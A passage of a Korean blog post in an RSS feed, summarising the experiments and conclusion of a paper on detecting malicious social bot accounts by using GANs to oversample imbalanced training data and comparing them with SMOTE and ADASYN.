&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 3]과 같이 1971개의 정상적인 account와 462개의 social robot account로 이루어진 데이터셋을 통해 실험을 진행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;625&quot; data-origin-height=&quot;163&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCpEKu/btruThZR1Xo/PbDQkz3mPl8a7i4532HmR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCpEKu/btruThZR1Xo/PbDQkz3mPl8a7i4532HmR0/img.png&quot; data-alt=&quot;[그림 3] dataset&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCpEKu/btruThZR1Xo/PbDQkz3mPl8a7i4532HmR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCpEKu%2FbtruThZR1Xo%2FPbDQkz3mPl8a7i4532HmR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;131&quot; data-origin-width=&quot;625&quot; data-origin-height=&quot;163&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] dataset&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델의 성능을 평가하기 위한 지표로는 대표적으로 자주 쓰이는 Accuracy, Precision, Recall, F-measure 를 사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 논문에서 제안한 oversampling 기법인 GAN의 성능을 비교하기 위해, 다른 oversampling 기법들인 SMOTE, SMOTE-Borderline1, 2, SMOTE-SVM, ADASYN 과의 비교를 수행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GAN과 classification 모델의 최적의 성능을 위한 hyper parameter는 grid search 방식을 통해 선정하였다. D와 G를 학습시킨 learning curve 는 [그림 4]와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;707&quot; data-origin-height=&quot;455&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ukpMo/btruYSROJOb/CFBAUJBAtDvWKCG4KDseWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ukpMo/btruYSROJOb/CFBAUJBAtDvWKCG4KDseWk/img.png&quot; data-alt=&quot;[그림 4] learning graph of D &amp;amp;amp;amp;amp; G&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ukpMo/btruYSROJOb/CFBAUJBAtDvWKCG4KDseWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FukpMo%2FbtruYSROJOb%2FCFBAUJBAtDvWKCG4KDseWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;469&quot; height=&quot;302&quot; data-origin-width=&quot;707&quot; data-origin-height=&quot;455&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 4] learning graph of D &amp;amp;amp;amp; G&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실험은 다음 4가지 질문에 답하는 방향으로 수행되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;4.1. GAN이 robot detection의 성능 향상에 도움을 주는가?&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 검증하기 위해 다른 oversampling 기법과 GAN을 사용했을때의 성능 차이를 확인해보았다. 그 결과는 아래 [그림 5]와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1088&quot; data-origin-height=&quot;719&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zXSyF/btruPatC4BH/zk68Y8FzwUPiMrxyhgYfUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zXSyF/btruPatC4BH/zk68Y8FzwUPiMrxyhgYfUk/img.png&quot; data-alt=&quot;[그림 5] experiment result 1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zXSyF/btruPatC4BH/zk68Y8FzwUPiMrxyhgYfUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzXSyF%2FbtruPatC4BH%2Fzk68Y8FzwUPiMrxyhgYfUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;551&quot; height=&quot;364&quot; data-origin-width=&quot;1088&quot; data-origin-height=&quot;719&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 5] experiment result 1&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체적으로 보았을 때, orginal 데이터셋에 비해 GAN 을 사용했을 때 더 좋은 성능을 내는 것을 확인할 수 있었다. 특히 accuracy 부분에서는 큰 차이를 보이지는 않았지만, F-measure 부분에서 기존의 데이터셋에 비해 7% 높은 성능을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;4.2. GAN이 다른 oversampling 기법에 비해 성능이 좋은가?&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 역시 [그림 5]를 통해 확인해볼 수 있다. 대체적으로 다른 oversampling 기법들에 비해 좋은 성능을 나타내는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;4.3. 어느정도 비율의 oversampling을 해야 가장 성능이 좋은가?&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 알아보기 위해 (실제 test 데이터 속의 robots 데이터 수) : (oversampling을 통해 생성한 robots 데이터 수) 비율을 1:1, 2:1, 4:1, 6:1, 8:1 비율로 진행하여 각각의 데이터셋에 대해 실험을 진행하였다. 그 결과는 [그림 6]과 같았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1240&quot; data-origin-height=&quot;857&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkvAFu/btruPbTASLi/FUYFgfU48TWxrKQtdRjeNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkvAFu/btruPbTASLi/FUYFgfU48TWxrKQtdRjeNk/img.png&quot; data-alt=&quot;[그림 6] experiment result 2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkvAFu/btruPbTASLi/FUYFgfU48TWxrKQtdRjeNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkvAFu%2FbtruPbTASLi%2FFUYFgfU48TWxrKQtdRjeNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;691&quot; height=&quot;478&quot; data-origin-width=&quot;1240&quot; data-origin-height=&quot;857&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 6] experiment result 2&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실험 결과, SMOTE-SVM과 GAN을 제외한 나머지 oversampling 기법들은 original 데이터에 비해 낮은 성능을 보이는 것을 확인할 수 있었다. 특히 GAN 방식이 가장 stable한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;4.4. 기존의 데이터셋의 imbalance 비율에 의한 성능 차이는 어떠한가?&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 알아보기 위해 기존의 데이터셋에서 실제 account와 robots 의 account 비율을 6%, 9%, 12%, 15%, 18%로 설정한 뒤, 각 oversampling 기법을 통해 oversampling 한 후 결과를 측정하였다. 그 결과는 [그림 7]과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1135&quot; data-origin-height=&quot;1048&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Zcg6n/btruRLUuHjj/Ao5OzREMSj96mz86mDwC2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Zcg6n/btruRLUuHjj/Ao5OzREMSj96mz86mDwC2k/img.png&quot; data-alt=&quot;[그림 7] experiment result 3&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Zcg6n/btruRLUuHjj/Ao5OzREMSj96mz86mDwC2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZcg6n%2FbtruRLUuHjj%2FAo5OzREMSj96mz86mDwC2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;561&quot; height=&quot;518&quot; data-origin-width=&quot;1135&quot; data-origin-height=&quot;1048&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 7] experiment result 3&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 결과에서 알 수 있듯이, 기존 데이터셋에서 robots의 비율이 증가할수록 classification 성능은 대체적으로 감소하는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 기존 데이터셋에서 robots의 비율이 증가하면, oversampling의 위력이 약해지는 것으로 해석된다. 즉 굳이 oversampling하지 않고도 학습이 잘 진행되고, 오히려 oversampling 기법이 학습에 방해가 되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GAN은 기존 데이터셋에서 robots의 비율이 10% 남짓일 경우에도 다른 oversampling 기법에 비해 성능이 좋은 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;5. Conclusion&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 연구에서는 social robot account detection 과정에서 문제가 되었던 imbalance 데이터셋 문제를 해결하기 위해 oversampling 기법으로 GAN을 활용하였으며, 그 성능을 측정하기 위해 다른 oversampling 기법과 비교를 진행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 결과, GAN이 가장 안정적이고 좋은 성능을 내는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&lt;b&gt;Reference&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #666666;&quot;&gt;Bin Wu, Le Liu, et al. &quot;&lt;span style=&quot;color: #676a6c;&quot;&gt;Detecting Malicious Social Robots with Generative Adversarial Networks.&quot; &lt;/span&gt;KSII Transactions on Internet and Information Systems (2019)&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>논문</category>
      <category>gan</category>
      <category>sybil attack</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/121</guid>
      <comments>https://ddongwon.tistory.com/121#entry121comment</comments>
      <pubDate>Wed, 2 Mar 2022 00:42:39 +0900</pubDate>
    </item>
  </channel>
</rss>